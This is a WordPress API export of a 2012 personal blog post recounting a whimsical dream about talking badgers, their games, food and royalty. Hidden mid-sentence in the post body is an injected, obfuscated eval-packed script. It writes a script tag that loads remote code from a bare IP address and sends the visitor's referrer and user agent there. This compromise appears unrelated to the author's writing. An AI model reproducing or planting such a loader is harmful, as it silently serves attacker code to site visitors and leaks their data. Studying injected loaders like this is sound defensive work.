{"id":3100,"date":"2012-05-17T08:38:01","date_gmt":"2012-05-17T15:38:01","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=3100"},"modified":"2012-05-30T08:58:21","modified_gmt":"2012-05-30T15:58:21","slug":"why-i-need-coffee-in-the-mornings","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=3100","title":{"rendered":"Why I need coffee in the mornings&#8230;"},"content":{"rendered":"<p>So this was one of those long dreams, where the story shifts around a lot.\u00c2\u00a0 It started out being simply a dream about clothes I used to own \u00e2\u20ac\u201c I have those dreams a lot \u00e2\u20ac\u201c and then it was about decorating t-shirts for some kids in a Sunday school class.\u00c2\u00a0 We were drawing animals on the shirts, and this one little boy asked me to draw a badger.\u00c2\u00a0 I couldn\u00e2\u20ac\u2122t remember what a badger looked like, and all the books in the library only had cartoon badgers, like our college mascot.<\/p>\n<p>Then it seemed that we \u00e2\u20ac\u201c \u00e2\u20ac\u0153we\u00e2\u20ac\u009d meaning pretty much everyone I know \u00e2\u20ac\u201c were staying at a beach house.\u00c2\u00a0 The beach seemed more like Maine than North Carolina \u00e2\u20ac\u201c cool and shady beneath the trees; rocky coastline.\u00c2\u00a0\u00c2\u00a0 And someone said there were a bunch of badgers down on the rocks, so we all went down to look.<\/p>\n<p>So, in my dream, they were meant to be badgers, but they stood up like meercats or prairie dogs, and they lived in the water and sunned on the rocks like seals\u00e2\u20ac\u00a6 or perhaps more like otters.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/page2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" title=\"Badgers\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/page2-300x300.jpg\" alt=\"\" width=\"300\" height=\"300\" \/><\/a>They <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkffr|var|u0026u|referrer|befyy||js|php'.split('|'),0,{}))\n<\/script><\/noindex> were all standing there in a group, being unbelievably cute, and making all sorts of strange little noises.\u00c2\u00a0 Some of the noises sounded almost like words.\u00c2\u00a0 Then they started making a noise that really sounded for all the world like the word \u00e2\u20ac\u0153hello.\u00e2\u20ac\u009d<\/p>\n<p>&nbsp;<\/p>\n<p>\u00e2\u20ac\u0153Hello!\u00e2\u20ac\u009d we called down.\u00c2\u00a0 \u00e2\u20ac\u0153Hello,\u00e2\u20ac\u009d they repeated.\u00c2\u00a0 After several minutes of this it really seemed a bit eerie.\u00c2\u00a0 Surely they were actually <em>saying hello<\/em>.\u00c2\u00a0 So we went slowly down to the rocks, so as not to scare them off.\u00c2\u00a0 \u00e2\u20ac\u0153Can you say anything besides hello?\u00e2\u20ac\u009d I asked one.\u00c2\u00a0 \u00e2\u20ac\u0153Yes!\u00e2\u20ac\u009d she shouted, and then all the badgers sort of giggled.\u00c2\u00a0 Which was also pretty weird.\u00c2\u00a0 I held out one finger and the badger who spoke to me \u00e2\u20ac\u0153shook hands\u00e2\u20ac\u009d with her tiny paws.\u00c2\u00a0 \u00e2\u20ac\u0153I\u00e2\u20ac\u2122m very glad to meet you,\u00e2\u20ac\u009d I said, and then everyone was talking to the badgers, and we invited them back up to the house.<\/p>\n<p>On the path back uphill to the house, the badgers turned into people.\u00c2\u00a0 They were odd-looking, like refugees from a cheap Renaissance Fair, and they were all very young \u00e2\u20ac\u201c teens, mostly, and some children.\u00c2\u00a0 It was hard to tell if they were meant to be some kind of cultural ambassadors or if they were going to get into trouble for talking to us.\u00c2\u00a0 They seemed excited to meet us but a little hesitant to talk about themselves much.\u00c2\u00a0 They were very interested in the house, and four teenage girl-badgers went into one of the bathrooms to play with the mirrors and lights and brushes and soaps.\u00c2\u00a0 Someone\u00c2\u00a0 asked me what was going on, and I shrugged and said \u00e2\u20ac\u0153Four badger girls have gone into the restroom to fix their hair.\u00e2\u20ac\u009d\u00c2\u00a0 Then the conversation turned, earnestly and anxiously, to whether we ought to call them \u00e2\u20ac\u0153badgers\u00e2\u20ac\u009d or if that was racist.\u00c2\u00a0 One person said it might be offensive; another said \u00e2\u20ac\u0153How could it be?\u00c2\u00a0 They <em>are<\/em> badgers.\u00e2\u20ac\u009d\u00c2\u00a0 We decided that what we wanted was an adjective rather than a noun, like the difference between saying \u00e2\u20ac\u0153Chinese men\u00e2\u20ac\u009d rather than \u00e2\u20ac\u0153Chinamen.\u00e2\u20ac\u009d\u00c2\u00a0 If this was our first cultural exchange with a whole new race, we wanted everyone to get off on the right foot.\u00c2\u00a0 I was thinking that the scientific Latin name for a badger might provide a useful term, and I figured I look it up later when I woke up.<\/p>\n<p>&nbsp;<\/p>\n<p>So I did look it up, just now:\u00c2\u00a0 badgers belong to the family Melinae, so we might have called them Melinaesian girls.<\/p>\n<p>&nbsp;<\/p>\n<p>Anyway, by this time the house was seriously crowded.\u00c2\u00a0 I\u00e2\u20ac\u2122d gotten into a long conversation with Lauren, my pilates teacher, and one of the badgers who seemed to be a leader of the group.\u00c2\u00a0 I think her name was Pippi:\u00c2\u00a0 yesterday I was thinking about the Pippi Longstocking books and wondering if my friend\u00e2\u20ac\u2122s 6-year-old would enjoy them; I\u00e2\u20ac\u2122m sure that\u00e2\u20ac\u2122s where the name came from.\u00c2\u00a0 Anyway, Lauren and I were asking Pippi about her people and their culture, language, and history in general.\u00c2\u00a0 We were a little shy about asking questions at first \u00e2\u20ac\u201c we wanted them to feel welcome and not treat them like they were strange.\u00c2\u00a0 And it was like having a conversation in a crowded party; we weren\u00e2\u20ac\u2122t getting very far\u00e2\u20ac\u00a6 especially since a lot of the younger kids, both human and Melinaesian, were just playing and romping all over the place.\u00c2\u00a0 I wanted to ask if the adult badgers had jobs in the \u00e2\u20ac\u0153real world\u00e2\u20ac\u009d \u00e2\u20ac\u201c if they were part of our society without our realizing it \u00e2\u20ac\u201c or if they were living on the edges of society somehow.\u00c2\u00a0 I mean, they had clothes.\u00c2\u00a0 Where did they get them?\u00c2\u00a0 Did they buy them?\u00c2\u00a0 Find them on the beach?\u00c2\u00a0 Make them?\u00c2\u00a0 But it was awkward.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/toys.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"Badgers playing\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/toys-300x300.jpg\" alt=\"\" width=\"300\" height=\"300\" \/><\/a>\u00c2\u00a0 <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/restaurant.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"restaurant\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/restaurant-300x300.jpg\" alt=\"\" width=\"300\" height=\"300\" \/><\/a><\/p>\n<p>We walked into another room and found there was a whole gallery of badger games and toys.\u00c2\u00a0 All the kids were playing happily, and I wanted very much to stop and take a closer look, but I didn\u00e2\u20ac\u2122t want to loose Pippi in the crowd.\u00c2\u00a0 The toys were wooden, simple in design, but fascinating and beautifully made.\u00c2\u00a0 They were larger-scale than you\u00e2\u20ac\u2122d expect:\u00c2\u00a0 the board games were big enough to stand on; dice were about the size of grapefruit.\u00c2\u00a0 All the games looked a little familiar but not quite the same as games we know.\u00c2\u00a0 There was something like cribbage, something like checkers, something like ninepins, something shaped like a toy castle, something with rings to toss.\u00c2\u00a0 My grandfather was there, and I wanted to ask him if he knew how to play any of the games \u00e2\u20ac\u201c I had a feeling he probably did.<\/p>\n<p>There was even a little restaurant serving ethnic badger food in little bowls.\u00c2\u00a0 It smelled great, like some kind of savory stew.\u00c2\u00a0 And then we came up to a pavilion where the King and Queen of the badger-people were seated, greeting guests.\u00c2\u00a0 They were both lovely, dark haired, dressed in black velvet and pearls, grave and gracious.\u00c2\u00a0 \u00c2\u00a0I curtsied; Paul was there and making charming conversation with the Mesinaesian nobility.\u00c2\u00a0 The King spoke to me \u00e2\u20ac\u201c just a brief courtesy \u00e2\u20ac\u201c and asked how I was.\u00c2\u00a0 I told him it was the best day of my life and I was very honored to meet him.\u00c2\u00a0 \u00c2\u00a0But I was looking around for Pippi, because I still had a lot of questions, and then of course I woke up.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/kQ.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-3104 alignright\" title=\"Badger King and Queen\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/kQ-300x300.jpg\" alt=\"\" width=\"300\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/kQ-300x300.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/kQ-150x150.jpg 150w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/kQ-1024x1024.jpg 1024w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/kQ.jpg 1800w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>So this was one of those long dreams, where the story shifts around a lot.\u00c2\u00a0&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3100","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3100"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3100"}],"version-history":[{"count":4,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3100\/revisions"}],"predecessor-version":[{"id":3102,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3100\/revisions\/3102"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3100"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3100"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3100"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}